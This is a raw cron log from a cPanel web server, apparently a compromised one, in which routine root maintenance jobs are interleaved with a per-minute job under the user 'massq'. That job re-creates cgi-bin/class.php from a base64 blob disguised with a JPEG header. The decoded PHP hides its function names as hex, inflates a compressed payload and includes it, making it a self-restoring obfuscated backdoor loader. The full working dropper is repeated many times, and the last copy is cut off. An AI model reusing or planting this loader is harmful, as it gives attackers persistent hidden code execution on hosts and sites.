Aug 30 12:28:01 server CROND[627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:29:01 server CROND[1181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:29:01 server CROND[1182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:29:01 server CROND[1183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:30:01 server CROND[1619]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 12:30:01 server CROND[1622]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:30:01 server CROND[1624]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 12:30:01 server CROND[1633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:30:01 server CROND[1634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:30:01 server CROND[1632]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 12:30:01 server CROND[1635]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:30:01 server CROND[1638]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 30 12:30:01 server CROND[1640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:31:01 server CROND[2515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:31:01 server CROND[2516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:31:01 server CROND[2517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:32:01 server CROND[3024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:32:01 server CROND[3025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:32:01 server CROND[3026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:33:01 server CROND[3419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:33:01 server CROND[3421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:33:01 server CROND[3420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:34:01 server CROND[3812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:34:01 server CROND[3813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:34:01 server CROND[3814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:35:01 server CROND[4208]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 12:35:01 server CROND[4210]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 12:35:01 server CROND[4219]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:35:01 server CROND[4220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:35:01 server CROND[4230]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 12:35:01 server CROND[4229]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:35:02 server CROND[4232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:35:02 server CROND[4234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:35:02 server CROND[4231]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 12:36:01 server CROND[5070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:36:01 server CROND[5071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:36:01 server CROND[5072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:37:01 server CROND[5547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:37:01 server CROND[5548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:37:01 server CROND[5549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:38:01 server CROND[5924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:38:01 server CROND[5925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:38:01 server CROND[5926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:39:01 server CROND[6313]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 12:39:01 server CROND[6314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:39:01 server CROND[6315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:39:01 server CROND[6316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:40:01 server CROND[6724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:40:01 server CROND[6726]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:40:01 server CROND[6728]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 12:40:01 server CROND[6731]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 12:40:01 server CROND[6733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBR